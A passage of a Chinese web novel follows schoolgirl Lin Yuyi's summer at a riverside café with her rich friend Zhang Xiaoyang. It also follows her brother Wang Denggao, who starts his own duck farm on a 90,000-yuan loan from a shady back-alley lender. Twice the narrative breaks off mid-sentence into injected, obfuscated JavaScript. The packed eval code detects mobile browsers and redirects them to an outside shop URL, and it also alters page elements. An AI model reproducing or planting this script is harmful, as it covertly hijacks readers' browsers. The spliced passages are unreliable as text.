这时林羽翼还不知道iPod是什么,更没有听说过某个名叫苹果的品牌,她只是觉得,这个小小的随身听真方便,不用放磁带就能听歌,还能听英语听力,她很喜欢这个礼物。 炎炎夏日,张潇扬对逛街彻底失去兴致,她们相约的地方变成了城里水吧。 水吧建在府河边,落地窗外是奔流的河景,水面上无时无刻泛着金鳞一般的日光,辽阔望不到尽头。屋里装修很雅致,原木色系铺满整个店铺,深色卡座隔绝出一个个不受打扰的静谧空间。 水吧里几乎没什么客人,但吧台边始终有一位穿着燕尾服的演奏者,一刻不停拉动小提琴琴弦,从日出到日暮。 从服务员的只言片语中,林羽翼得知这家水吧是张潇扬哥哥——或者说是张潇扬的,店铺在她名下,她哥哥帮着经营。 只不过,从店里的客流量来看,她哥哥经营得并不上心,在他们兄妹看来,这家水吧大概只是个有趣的、并不昂贵的玩具。 于是,林羽翼2002年夏日下半段的回忆,全是水吧里悠扬婉转的音乐声。 水吧里空调温度很低,就算烈日阳光从落地窗外灼在皮肤上,也丝毫不觉得热。炽色阳光洒满水吧角落,不但不显得灼热,反而为它添了一层温馨的气息。 宽大的木桌上乱七八糟摆满了各种书籍,练习册、课本,课外小说,还有一本一本黑色的雅思真题册。 师涟认真而专注地按照自己的安排刷题学习,就如同上个暑假。林羽翼懒懒散散地看会儿小说、学习一会儿,学累了就躺一会儿,反正不管怎样,都能在一天结束前把功课做完。张潇扬半趴在桌上,苦恼地啃着一本本厚重的雅思真题册,啃不动了,把书册盖在脸上,就着音乐声和午后的阳光打个盹儿,一直睡到黄昏。 当然,并不是每个下午都如此平静。 张潇扬有些时候啃着雅思真题,忽然脸颊扭曲地发出一阵哀嚎,双手痛苦地锤桌,引得水吧为数不多的客人纷纷侧目。 “啊……!”张潇扬头发狂躁地散开,手指死死捏住卷子,在仅存的理智下缓缓松开,好歹没把卷子撕碎,她无神地喃喃道,“太痛苦了,太痛苦了,我快死了!” 林羽翼看一眼她卷子上密密麻麻的英语文章,十分能共情地点点头。 还好她不用学。 雅思……应该比高中英语难很多吧?张潇扬总成绩不算差,偏偏英语是弱项,上学期最高也就一百零几分,她真的能考过雅思吗?林羽翼深感怀疑。 林羽翼问过大小姐为什么突然开始学雅思,大小姐的回答非常简洁:“因为要出国读书。” 林羽翼下意识追问:“大学?” 张潇扬说:“高中。” 高中? 高中。 倏地,林羽翼默然。 隔几秒,张潇扬反过来安慰她:“放心啦,还有很长一段时间,早着呢。” 平静的下午一天天过去,少女们一起学习,一起犯困,一起度过一个个悠闲的午后,却也因为小小的分歧而有过争吵。 在三人小聚过不知道多少次后,林羽翼忽然想起了组里另一个女生:“下次要不要叫上申树?她这个暑假没回老家,一直住在舅舅家——就在广都。” “不要。”张潇扬想都不想,立刻否决她的提议,毫不掩饰脸上的厌恶,双手环抱往后靠着椅子,“我不喜欢她。” “为什么?”林羽翼知道张潇扬似乎和申树不熟,就算当了一学期同桌,她俩的交流也少得可怜,所以她才想借着暑假的机会,让她俩熟悉熟悉,却没想到,张潇扬回这么直接地说出不喜欢申树。 “我觉得她不是好人。”张潇扬打个哈欠,一点儿也不客套道。 林羽翼困惑地皱皱眉,回想着学校里申树的一举一动:“她……她挺好的呀。她和你有什么矛盾吗?” 申树无论什么时候都温柔随和,看似柔弱,但实则对谁都很大方开朗,作文比赛那几天,她还主动借书给林羽翼看,和林羽翼一起备赛。 林羽翼和申树算不上熟络,但她的确觉得申树是好人,至少她挑不出什么毛病。 “没有矛盾。”张潇扬说得毫不讲理,“她那种人……啧,你不懂,反正我不喜欢她。” “那你为什么喜欢我们?我和师涟?”林羽翼一定要探究清楚。 张潇扬抬眸盯着她的眼睛,锋利的眼眸里迸出林羽翼读不懂的笑意:“因为你和师涟很好。我生病的那天,是你带我去医院。林小鸟,我是个知恩图报的人。或者,你就当我们气场相合吧?” “可是……”林羽翼试图为申树辩解,“如果是她的话,她一定也会送你去医院的,她不可能放着你不管。” “她不会一步一步把我背上车。”张潇扬语气重了些,“我知道你想说什么,林羽翼,你觉得她温柔善良,你也太天真了些吧。我问你,暑假放假后她约你出去玩过一次吗?不说暑假,平时周末她主动约过你吗?她和你分享过她的爱好吗?” 的确没有过。 申树从来没主动约过林羽翼一块儿去玩,但也从未拒绝过林羽翼的邀约。 她从来没主动和林羽翼谈过心,但也不会刻意避着林羽翼,她很乐意与林羽翼聊天。 林羽翼小声争辩:“去年元旦节的时候,她送过我贺卡,写了好长一段字呢!可用心了。” 张潇扬嗤笑着问:“她给其他人也写的贺卡吧?” 林羽翼还没说话,旁边一直埋头学习的师涟忽然开口:“班上所有人都收到了。” 林羽翼:“……” 张潇扬笑:“看吧,她是不是对所有人都温柔?对所有人都很好?” “是,可是……” 张潇扬打断林羽翼的话:“对所有人都好,那还算对你好吗?” 林羽翼皱眉:“怎么不算?” “林羽翼,你再想想,之前她分手那事儿——虽然我这学校才转到你们学校,但或多或少也听说了些。她分手之后有伤心难过吗?你看看史小诺,他整整颓废了大半个学期,她呢?跟个没事儿人似的。” 的确,申树除了分手当天哭了一场外,后来没有任何多余的反应。 “这只能说明她拿得起放得下呀……”林羽翼小声说。 反倒是史小诺,未免有点太脆弱了些。 “切。”张潇扬重重叹口气,“算了算了,懒得和你多说,反正你也不会在她身上吃亏,被她骗到也无所谓。只有那些纯情小男生,才会在她身上吃大亏。我不是讨厌她,我只是不喜欢她而已。林小鸟,其实你和我一样,你不讨厌她,但也不是多喜欢她,不是吗?扪心自问,你觉得你和她算朋友吗?” 话都说到这个份上,林羽翼没有再继续争辩,师涟全程都没有对此发表任何意见。林羽翼埋头对着小说书闷了会儿,在张潇扬笑着递一杯冰汽水到她面前时,那丝沉闷感也就消散了。 她忽然明白,她无权改变朋友的喜恶。而她的朋友,也不会因为观点与她不合,和她产生间隙。 那晚还发生了一件事。 新乡那边的远亲死了人,王登高请了假回村里,林羽翼也得赶回去,于是张潇扬让哥哥开车把她送到村口小路边。 下车和张潇扬告别,林羽翼远远地看到一个身影。 王登高站在土路尽头的拐角处,身形莫名有些佝偻,似乎在躲避着什么,他没有第一时间上前迎接林羽翼,而是等她走近了些,才挺直腰杆走到她身前。 “刚才那是你同学她哥?他开车送你回来的?”王登高望着土路的另一头,空荡荡的乡村公路上,已经连车影子都看不到。 “嗯。”林羽翼点头,和张潇扬出门玩的这段时间,基本是她哥哥和陈叔叔换着开车送她们。张潇扬她哥看着又冷又拽,实际上对她们几个小妹妹很友好,和张潇扬一个模子刻出来的性格。 “哥,你怎么知道?我没和你提过吧?”林羽翼随口问。 “我见过她哥哥,也见过那辆车。”王登高顿了片刻,补充道,“家长会的时候。” 他努力掩饰着语气中的沉闷。 同样是哥哥,就连年纪都相仿,可家长会的时候,张潇扬的哥哥穿着一声价格不菲的黑西装,打着领带,头发梳得一丝不苟,无比熟稔地和周围那些一看就有头有脸的“大人”交谈着,聊聊生意,聊聊政府规划,然后自然无比地交换着名片。 王登高却还像个孩子,穿着身整洁但土味儿十足的夹克,剃着头再寻常不过的寸头,甚至被别的家长认成了学生。 “哥,张潇扬家里还有跑车呢!我记得我和你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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如果他有钱一点,小刘是不是就不会离开他?如果他有钱一点,他是不是也能在家长会上打扮得人模人样,在那些大人之中混得风生水起?如果他有钱一点,妹妹是不是就不用羡慕同学家的跑车了? 是的。 一定是这样。 二十三岁的王登高,想不出别的答案。 …… 王登高上回来苏家村吃席,是参加喜宴,这回则是参加丧事,但好像也没有什么大不同。 一桌一桌席面摆满那家人的小院,移动灶台摆在最外边,厨师大勺大勺地舀起香气四溢的菜肴,引得小孩们留着口水蹲守在一旁。 堂屋里布置着灵堂,只是到了吃席这天,哭丧已经哭得差不多,因此听不见哭声,反倒能听见阵阵麻将声。 上回喜宴的那家在地势较高的坡上,这回丧事一家在低矮的洼地上——旁边,绕过一小片竹林,便是那栋突兀的洁白小楼。 坐在小院里,王登高只要稍稍一抬头,就能看见那栋小楼的外墙,和去年相比,它的墙面好像沧桑了一些,镶嵌在上的青瓦不可避免地沾上日晒雨淋的痕迹,却不显得破旧,反而有种岁月沉淀的韵味。 小楼整体依旧给人一种洁白如新的视觉冲击,青瓦上道道划痕与洁白墙面形成强烈对比,一条条古色古香的黑金色线条仿若反射着阳光。 夏末,小楼周围的花草比去年初春繁盛许多,甚至有爬藤沿着墙壁侧面蜿蜒而上,又往下垂落,紫色花瓣与绿叶交织,挡住玻璃的一角。 如果是从那栋小楼里往外看,得是多美的景色啊。 王登高想让自己不去看那栋房子,可是又忍不住,他想了点儿话题,转移注意力:“那栋房子这么漂亮,是有人一直住打扫着吗?” “打扫?”旁边,苏家村的一位嫂嫂“呸”一声吐出瓜子壳,翘着二郎腿说道,“苏妹儿她一年到头都不回来几次,就只有她妈一个人住那儿,还打扫呢?她专门花钱雇了那啥保养公司,隔三差五让人来给房子做保养,派头大着呢!” “什么叫派头大?人家是大老板,当然厉害咯!” “前两年苏妹儿的公司才起头,今年不一样了,你去蜀都城里逛一逛,到处都能看到她们公司开的店!还有你看看后山的果林,漫山遍野的果树,一半是她家的,一半是她承包的!” 关于那位苏妹儿的话题一起,立刻就收不住了。苏家村的人对苏妹儿无疑是羡慕的,可在外人面前提起她,又总是有种热烈的骄傲感,好像有钱的不是那位苏小姐,而是她们自己。 “山娃,你妹儿读高中了吧?成绩怎么样?”桌对面一个不到三十岁的年轻男人,忽然把话题抛向王登高。 王登高知道他,苏家村里为数不多的大专生,只是不知道为什么,大学读了一半竟然辍学了,之后的日子里,就一直在村里混着,年近三十还没找老婆。 王登高为什么会知道呢?因为他是十里八乡出了名的反面例子,就连王家村那边,大人教育小孩时,都会说上这么一句:“你不努力,难道向苏家村那个混球一样混吃等死?一把年纪连个老婆都讨不到!” 不等王登高回答,旁边的婶子笑呵呵替他说:“林妹儿成绩一直好着呢,初中年年是第一,去年还被招进了广都的中学。” “以后林妹儿肯定有出息,本科就不说了,说不定能考上川大,给我们新乡争光!” 男人脸立马黑了,他抱着手臂嗤笑:“会读书就能有出息?那我怎么混得这么差?搞不搞笑,苏姐姐她可是连大学都没读呢,现在还不是当大老板,发大财,一堆大学生争着给她打工,她都看不上!” “大学毕业读出来有什么用?去给高中毕业的老板打工?哈哈哈哈……这就是命啊!”男人笑得上气不接下气。 “话不能这么说,你是你,人家林妹儿是林妹儿,是吧?”大婶反驳道。 王登高却因为男人的话陷入愣神,人家不读大学就能做生意赚大钱,当大老板,那自己呢?自己……有那个可能吗? 王登高以前从没想过做生意,一是那时他初出茅庐,什么都不懂,家里呢?一是没有积累,二是上面有个残疾的父亲,下面有个读书的妹妹,他不敢去冒险。 现在不一样了,他工作这么些年,不管大事儿小事儿,他多多少少见识过一些,再不是当年那个愣头青。自己工资也还行,手头有一小笔存款,妹妹高中后月月都能拿奖学金,大大减少了他的压力。 他为什么不试试呢? 如果不去拼一把,难道要像现在一样,轻轻松松但毫无盼头地过下去吗?如果二三十年后的自己,和现在的自己没有一丝区别,到时候真的不会感到后悔吗? 王登高埋头吃着饭,心绪激昂,没有听见大婶们接下来说的话。 “学习不重要?” “苏妹儿家大儿子前年考了清北,今天领奖学金去美国读书了!如果学习不重要?她会让她儿子考清北?” “林妹儿,你一定要好好学习啊,以后出息了,回来炫耀给苏哥哥看!” “嗯!”林羽翼大口刨着饭,眉眼弯弯地应付着点头,笑得可乖。 或许是暑假后半程,她一直和张潇扬混在一起的原因,今天再看见那栋洁白小楼,她心里竟然没有多余的波澜。 28.第14章 做生意的想法一旦从大脑深处冒出来,便如同春日的野草般肆意蔓延扩张,占满心里每一个角落,根系缠绕,烧也烧不尽。 那么做什么生意呢? 从苏家村回家后,王登高便开始考量。 他工作得最久的地方,他最熟悉的地方,无疑是鸭场。从饲料供应、到养鸭,再到销售,他都经手了解过,他认识供货商,手头还有好几家固定客户,从养鸭开始做起,准不会出错。 唯一的问题是钱。 王登高手头有两万元积蓄,对他来说不算少,可是要拿这两万元来开鸭场就差得太远了。鸭苗、饲料、场地、工人,还得去办相关许可证,哪一步不要钱? 去银行贷款吗?王登高从鸭场的温老板口中听到过贷款政策,国家为了鼓励年轻人创业,给出的政策优惠非常诱人,可要他去借一大笔钱,他总觉得心里发慌。 小时候,家里欠债的那些日子,在他心里他留下了不可磨灭的阴影。 王登高不敢。 可是眼看着温老板换上新车,鸭场也逐渐扩大,从当初三个人发展到现在二十来个员工。温老板甚至还在到处选址,想往山里搬,把鸭场给做大。 作为鸭场的元老,王登高怎么能不心动? 王登高犹豫着,时间一天天过去,就这样到了十月中旬。机遇就如同天上掉馅饼一般,直直砸到他的面前。 温老板正式决定将鸭场搬迁去山里,让鸭场从河边散养户变成规模化的大养殖场。 “小王,你有什么想法不?”搬迁前几天,温老板忽然找上王登高。 温老板站在河滩边,挺着啤酒肚吹着河风,点一支烟递给王登高。 “这次搬迁的情况你也知道,我们厂看着是挺风光,眼看就要从小打小闹的养殖户混成大公司了,能不风光吗?可实际呢?我们到了山里,一切都是从头开始,风险大得很。”温老板掸一掸烟灰,笑容收敛,忧心道。 “我们在广都河边呆惯了,河里的一颗石头、一株草我们都摸得清,更别说河滩边那些鸭圈,那是我们一根木棍一根木棍地搭起来的。以后去了南边山里,人生地不熟的,也不知道得花多长时间才能适应。可惜啊,广都的地形也好,鸭圈也好,气候也好,这些东西我们都没法带走,小王,你最清楚不过了。” “小王,我舍不得广都的圈子啊,但我实在没那个实力继续管着这里——我全身家当都投到搬迁上边儿去了,一分多余的钱都拿不出来!” 王登高吸一口烟,隐隐约约猜测到温老板要和自己说什么,他脸上神色不动,心里却暗暗激动。 果然,几秒后,温老板吐口烟圈,拐入正题:“小王,听小刘他们说,你挺想出去单干的,怎么样,要不要考虑一下?我把广都的圈子便宜过给你,前两年你没鸭苗,我呢给你提供鸭苗,按市场价打折给你,大家是这么多年的兄弟,我绝不会坑你,哈哈,你自己本身也是个养鸭专家,我就算想坑也坑不了你呀!” “你要是缺钱呢,没关系,我借你就是嘛!别觉得难堪,我真是把你当亲弟弟看的,想当初你刚来我们厂的时候才多大点儿呀?我看着你长成这么个大小伙,我真希望你能越过越好!” “小王,听我的,接下广都的厂子,以后做大了,咱哥俩再联合往更远的地方发展,哈哈,说不定还能靠着鸭子走遍全国,走向国际呢!” 温老板三十岁出头,他穿着身干净的皮夹克,肚子已经微微有鼓起啤酒包的迹象,发丝、额头都冒着油。 说这些话的时候,他眼睛里却冒着光,仿佛已经看到未来王登高做大做强然后与他联手的盛景。 王登高见过的有钱人不多,让他印象最深刻的,是家长会上遇到的两个人。 一个是张潇扬的哥哥,矜贵潇洒的公子哥,一举一动间透出的自信张扬,仿佛整个世界都在他的掌控下。 另一个是史小诺的母亲,史阿姨,同样是生意人,她并不骄矜,也不张扬,脸上随时都挂着温和优雅的微笑,与谁都能自在地说上话,可是作为家委会会长上台演讲时,她很自然地散发出上位者的气势,让听众下意识感觉,她说的每句话都是正确的,都是金玉良言。 鸭场温老板自然远远比不上这两人。 甚至王登高在家长会上遇到的别的“大人”,政府里的小领导,广都医院的医生,初高中的老师,每一个人,都比鸭场温老板混得好得多。 和他们相比,他更像是个中年油腻暴发户。 但王登高却被老板说动了。 他总觉得,家长会里遇到的那些人……离他太遥远了,他一辈子也不一定准追的上。但老板近在眼前,是他能够触碰到的目标。 试试吧。 温老板可以成功,他为什么不可以? …… 王登高彻底动心,他不再犹豫,卷起袖子说干就干。 先是做前期规划,王登高按照鸭场以前的惯例,将鸭场分为三部分,一部分用来养肉鸭,初秋正是买鸭苗的好时期,肉鸭两个月出栏,刚好赶上过年。 另一部分养种鸭,为自家鸭苗繁殖做准备。种鸭生长周期长,母鸭110天才发情,公鸭还要再等大半个月,养殖期间风险大、投入高,但为了鸭场长远的发展,王登高不准备放弃这部分投入。 只要能养活第一批种鸭,等到明年初春,就能收获第一批属于自己的鸭苗。七个月后,种鸭鸭圈里还能接连不断产出菜蛋。两年过后,则将种鸭高价卖做老鸭。养鸭就是有这种好处,就算是肉质老硬的老鸭,拿去炖汤也别有一番风味,随时都有市场。 最后一部分则拿去养板鸭—— 国家新培养出的品种,十八天就能出栏,专门卖给食品公司做成品板鸭!别看这种鸭子投入低、个头小,价格也便宜,吃进嘴里可是实打实的优质蛋白,没一点儿不健康! 至于怎么养?厂里以前怎么养,王登高以后就怎么养,他这些年的工作也不是白混的。 规划得差不多,王登高便开始筹备,第一件事是开公司,他原本想注册个体养殖,然而跑了几趟工商局后,他改主意了。 弄什么个体户?要做就直接开公司! 要想做得长远,他以后迟早得转公司,还不如趁着现在国家补贴创业,政策优惠大,尽早把公司办下来。 毕竟,政策上的事情,谁也说不准。 公司注册资本最低是十万元,看着吓人,可压根不用缴上去,以后有钱了补缴也来得及。 工商所的工作人员效率很高,王登高来来回回跑了一周,便把营业执照给拿到手,期间只缴了二十元的工本费!多好啊。 公司刚一开通,鸭场的座机电话就收到了不少银行的电话,说是给小公司免息贷款,王登高没有急着贷款,他先去找前老板问了问。 “银行的贷款坑着呢!别看它一开始免息,后面你都不知道什么时候突然就有了利息,还影响征信!合同上那些条条款款的,你看得懂吗?都是些文字游戏!”温老板碾着西装袖口,微微皱眉思索道,“唉,我明明答应了借你钱,可我也没想到鸭场搬迁这么耗钱,现在我手上的现金都耗光了!这样吧,我给你介绍一个朋友,他是开借款公司的,你去他那儿借钱,打个借条就成,不上征信,放心,都是十几年的老交情了,我也是在他那儿借的钱应急。” 王登高不懂贷款的事儿,但他本能地有点抗拒去银行贷款,总觉得牵扯到“征信”两个字,有点没把握,尽管他连征信具体是什么都不清楚。 王登高相信温老板,认识这么些年,温老板总不会坑他,没多考虑,他很快联系上温老板的那位朋友。 见面地点是在那人的公司,丁字街边的一条小巷里。沿着黑漆漆的巷子七拐八拐,拐进一栋小楼里,沿着贴满狗皮膏药般小广告的楼道往上,二楼走廊的第一间房间,便是温老板朋友的公司。 走廊尽头站着几个穿着花衬衫小混混模样的男人,正倚着栏杆吞云吐雾,远远看见王登高,他们瞥来一眼,又很快收回目光。 王登高觉得头皮发麻,感觉自己像是来到了什么不正规的高利贷公司,但很快他就想起,自己刚出来工作那年,帮助自己找工作的王五哥也是在这种地方办公。小公司没钱没背景,只能缩在黑黢黢的小巷里,也是没办法的事儿。 王登高稍稍放松一些,想起当年王五哥意气风发的样子,不由得感慨,听说去年五哥工作的公司倒闭了,这一年他到处找工作,跑来跑去辛苦得很,却只能勉强糊口。 “小王是吧?温哥给我介绍过了,来来来,请坐。” 王登高推门进入办公室,里面的平头男人立马露出无比亲切的笑容 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13047448|135210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,起身弯腰招呼王登高入座,他的手在眼前招啊招,热烈得快要挥出残影。 王登高本想先客套寒暄两句,平头男已经走到他面前,热切地和他握手,半推半拉地把他摁在座位上,不等他反应过来,一堆字据已经摆在面前。 “小王,不,王总!王老板!你的情况温老板已经和我说了,你要开鸭场嘛,做养殖!”平头男人笑着感叹,“你们温老板对你是真的好啊!你缺多少钱,哪儿需要用钱,他都提前帮你算好了!九万元,是吧?” 第一次被叫“王总”,王登高心头一阵飘飘然,口腔腺体抑制不住地分泌些许口水,然后咽了下去。 平头男飞快把一张密密麻麻的表格推到王登高面前,他另一只手噼里啪啦在算盘上敲着,嘴里飙出一串串唾沫星子:“九万元不多,而且你是温哥介绍的人嘛,我们当然要给你大优惠!王总,前半年我们给你免息,你看怎么样?我们把钱贷给你,半年后时间到了,你只需要缴清原款和手续费——放心,手续费嘛,一般就几百块。” “九万?我用不着那么多。” 王登高差点没被这个数额砸昏头,他原本想着借五万元足够了,大不了抠一点嘛,总能撑得过去,九万实在是太多了,他一辈子没见过那么多现金。 “哎呀,哪儿多了!”平头哥激动地发出一阵爆鸣,关切地皱紧眉头,“王总您看呀,您需要些什么,温老板都帮您想好了。鸭苗、人工,还有设备的养护,哪个不要钱?再说说您自己吧,我们大老板总得有个手机吧!只靠座机和客户、经销商联系,多不方便呀!这两年手机降价了,几千块就能买台二手小灵通,可不能错过!” 王登高思忖着皱紧眉,他觉得平头哥说得对,前些年手机是奢侈品,一台笨重的大哥大竟然要两三万元!现在呢?那么小巧方便的小灵通,竟然只要千把块就能买到。 王登高跟着温老板从一无所有干到现在,他清楚得很,要谈生意,通讯设备是必不可少的。 平头哥看出王登高动摇,趁热打铁:“您平时出去跑业务,不得弄辆威风的坐骑?我们知道,汽车对您来说有点勉强了,摩托车总得来一辆吧!” 勉强?的确勉强。王登高心里一阵刺痛,这年头,一辆国产的小轿车只需要七八万元就能拿下,但对他来说依旧是天价。 听见平头哥用毫不在意的语气说出这番话的那一瞬间,王登高甚至有种再借个几万元,把车子也给买下来的冲动,但他立马按下这股冲动,死死盯着表格,一项一项地仔细看。 鸭苗、人工、饲料、养鸭场维护、污染清运……王登高越看,越是觉得自己原本的五万元的确不够用,借个九万元刚刚合适。 他在心底算了算,九万元,半年时间,刚好两批肉鸭出栏,再算上第一批菜蛋的钱,他应该还得上! 行!半年后把借的钱还了,到时候自己的鸭苗差不多培育出来了,应该不再需要借钱,一切刚好合适! “我就说嘛,温老板看人的眼光不会错,王总您是有远见的!”见王登高点头,平头男立马恭维地把早已写好的借据拿给他,“在这儿签个名,摁个手印就好了,我这就给您点钱,现钱!” 王登高没有立刻摁手印,他细细地看了一遍借据,眉头微蹙: “不是说九万元吗?为什么上面写着十万?” 平头哥拍拍手:“哎呀王总,半年内我们给您免息,可半年后当然是要算利息的嘛!这是公司规定,必须写上去的!没事儿,王总,你在规定时限内把钱还了就没事儿,白纸黑字写着的,还能有假?” 王登高再看了看借据上的字,的确明明白白写着半年内免息,只需要缴清三百元手续费。王登高反复看了几遍,确定自己没有遗漏半个字,这才重重摁下手印。 终于,王登高把那厚厚的一叠钱拿到手里,他感觉自己整个人都快飘起来,一颗心沉重得要命,可身体却仿佛飘到云端。 走出阴冷的办公室,走廊外阳光正好,午后温热的阳光洒在王登高脸上,刺得他几乎睁不开眼。他重重呼口气,昂首迈步走进光里。 王记养殖场,从这一刻起,正式开始运作! 走廊尽头,几个染着五彩头发、穿着缤纷花衬衫的小混混依旧在抽烟,他们斜倪一眼王登高消失在楼梯尽头的背影,嘻嘻哈哈不知在说些什么。 29.第15章 林羽翼的高二和高一没有什么区别。 一定要说的话,好像功课更忙了些,时间过得更快了些,哥哥和她相处的时间更少了些—— 就连元旦假期,他都没回家陪陪林羽翼,更别说平时了,最多偶尔来学校给她送送东西,还没说几句话呢,人就没影儿了。 转眼到了寒假,林羽翼一个人在家里,写完作业便开始觉得无聊。林羽翼穿上厚厚的棉衣,一个人蹲坐在堂屋的台阶上发呆,心里苦闷极了。 明明一个月前,张潇扬还和她约定好,说着考完雅思就约她一块儿出去玩。没想到张潇扬雅思竟然没考合格!都没来得及打声招呼,人就被抓去封闭集训,只留个空荡荡的座位,一直到期末考结束,张潇扬人也没回来。 师涟则是跟着父母去沿海看望亲戚,年后才会广都。 林羽翼一个人守着空荡荡的房子,风一吹,她被冷得瑟瑟发抖,感觉自己像一个可怜兮兮的留守儿童。 她知道哥哥工作忙,可是也不至于快过年了还不回家吧?前几年鸭场的工作不是很轻松吗?怎么这一年突然有那么多事情要忙?忙得都快把她这个亲妹妹忘了! 林羽翼不知道哥哥具体在忙些什么,她问过哥哥,可是哥哥只是笑着以一句“你还小,说了也不懂”,便把她打发了。 她不小了! 林羽翼苦闷地等啊等,等到大年三十晚,哥哥还没回来。林羽翼听着院子外噼里啪啦的爆竹声,鼓着腮帮子点燃几根仙女棒,在院子里无精打采地扒拉着,盯着烟花棒上的那点儿光彩发呆。 “嘭”一声巨响。 一朵烟花在不远处的夜空上炸开。 林羽翼没有抬头看焰火。 院子外声音越大,她心里就越觉得闷。 忽然,她在噼里啪啦在嘈杂声响中,捕捉到一丝“轰隆隆”的轰鸣声,像是车辆引擎的声音,夹杂着轮胎陷入土路里,又从泥土中拔出来的摩擦声,越来越近。 林羽翼警惕地往院门处望去,天黑时,她已经提前锁了门。紧接着,引擎轰鸣声淡去,门外响起王登高的喊声:“小鸟,开门!我回来了!” 林羽翼眼睛倏地亮起,她一下从台阶上蹦起身,欢快地给王登高开门,她脸上绽处一个灿烂的笑,嘴巴却一点儿也不饶人:“哥,你还知道回家啊?” “怎么,我还能把家给忘了?”门外,王登高一手摘下头盔,夹在咯吱窝里,一手推着摩托车,脸上满是喜气的笑,“来,帮我卸货!” 车后面一左一右挂了两个深绿色编织袋,装得满满当当。 “哥,这是你的车?”林羽翼卸下麻袋,差点没闪了腰,“嘶!好沉!” 王登高自豪拍拍摩托前盖,笑得露出洁白的牙齿:“当然是我的车。提不动你放那儿,我来提,袋子里装的都是些酱板鸭,过几天拜年,你挨个拿去送给亲戚们啊。” “好。”林羽翼点头,目光依旧停留在摩托车上,红色的车身,漆面上一道划痕都没有,机械结构十分拉风,“哥,你啥时候买的车?我都不知道呢。” “早买了,这段时间太忙,都忘了骑给你看看。”王登高拎上两大包板鸭,大步往屋里走,“来,进屋,哥哥给你带了好东西。” 借着堂屋里昏暗的灯光,林羽翼这时才看见,王登高穿着一身黑色皮夹克,宽松的裤脚扎起,头发梳成老练的背头,涂了发油,走起路来气势如风,竟然有点帅。 “哥,你、你……”林羽翼怔怔跟着他进屋,眨巴眼,小声问,“你发财啦?” “还没呢。”王登高先是摇摇头,随即眯起眼睛笑,“不过快了。来,看看哥哥送给你的礼物,是好东西!随身听,只要插上磁带就能——” 王登高小心翼翼地从怀里摸出一个礼盒,他的声音忽然顿住,目光落在堂屋的桌子上,上面放着林羽翼的ipod,小巧的机器上正插着耳机,屏幕亮着,正放着歌。 林羽翼傍晚听完歌,随手把iPod扔在了桌上,忘了关机。 王登高不知道ipod是什么,但他看得出来,这玩意儿也是随声听,而且不需要磁带。一瞬间,他的目光有点黯淡。 “啊,这是张潇扬送我的……”林羽翼赶忙把iPod收起来,随即接过哥哥手里的随声听,眉眼弯弯,“谢谢哥!我很喜欢,我可以拿它来听英语听力!” 王登高舔了舔唇,粗糙的手掌轻轻拍在妹妹肩膀上:“那玩意儿多少钱?” “我不知道。”林羽翼摇摇头,张潇扬当初也没说价格,只说在国外这东西很流行。不过猜也猜得到,这玩意儿一定很贵。 张潇扬送给林羽翼和师涟的那些东西,从身体乳、香水到衣服再到随身听,还有什么乐高积木玩具,就没一个不贵的。林羽翼刚开始还会觉得不安,后来……渐渐麻木了。 对张大小姐来说,送礼物是表达感情的方式,林羽翼和师涟没有那么多钱,但她们会用自己所拥有的来回馈这份情谊。 王登高表情复杂地张了张嘴,他给妹妹买随身听花了小一千元,更别说张潇扬从国外带回来的那个,一看就非常贵。 年前这段时间,第一批肉鸭出栏,王登高挣了一大笔钱,也算是小小地发了笔财,可他还欠着九万元外债呢!买随声听的一千元,是他省吃俭用从指甲缝里抠出来的钱。 可张潇扬呢?眼睛都不眨就能把那么贵的东西送给同学。 王登高笑着摇了摇头,不再酸涩:“爱坡得是吧?以后哥哥也给你买一个!” “不用。”林羽翼用力摇头,“我已经有一个了,还有你送我的随身听呢!干嘛还要?浪费啊!哥,你这段时间到底干嘛去了?怎么有钱买摩托车,还买随身听,还有小灵通!” 林羽翼注意到王登高挂在腰间的手机,睁大眼睛:“你说你没有发财,那是咋回事儿?你们鸭场发财啦?” “算是吧,以后你就知道了。”王登高暂时不太想告诉妹妹自己借钱创业的事情,一是怕妹妹担心,二是想给妹妹一个惊喜,等到还完借款,鸭场真正发展起来,到时候,他再带着妹妹去参观,指着那一群群鸭子给妹妹说:“看,这些以后都是你的财产!” 多爽啊! 王登高脸上洋溢起笑容。 见王登高不愿意说,林羽翼闷哼一声,不再多问,她的注意力很快被转移,看看院子里那辆酷炫的摩托,再看看王登高一身帅气的穿搭,她好奇地问: “哥,你和小刘姐姐怎么样?你现在又有车——虽然是两轮的,又打扮得挺不错,总算有个人样,不得把她迷得死死的?喂,哥,你大年三十晚才回家,不会是去小刘姐姐家见家长了吧?” “去去去,别乱说。”王登高吐气,睫毛黯然垂下,语气却风轻云淡,“我和她早分手了。” 林羽翼怔了片刻:“……啊?” “怎么,不相信啊?”王登高笑着敲敲林羽翼的脑袋,“感情这东西,就是这么不靠谱。所以我才告诉你,不许早恋!不许早恋啊!” “说了多少次了,我不会。”林羽翼闷闷地嘟起脸颊,“倒是你,什么都不告诉我,买车不告诉我,分手不告诉我——” 林羽翼的嘟囔声被打断,院子外传来隔壁院子王三叔的声音:“林小鸟,你的电话!” “这就来!”林羽翼家没有电话,所有找她的电话都打到隔壁王三叔家。 林羽翼咚咚咚大步跑进三叔家院子里,和她家的冷清不同,三叔家里热热闹闹的,五六个小孩围坐在院子里烤着火,堂屋的灯光很亮,电视里放着春晚,屋里挤着三桌人,却没人看电视,大家都专注在麻将上。 林羽翼迅速跑上二楼,这里一个人都没有,嘈杂的声音离她而去。 “喂?”林羽翼拿起电话,耳膜差点被里面的吼声震聋,立马把听筒拿远一些。 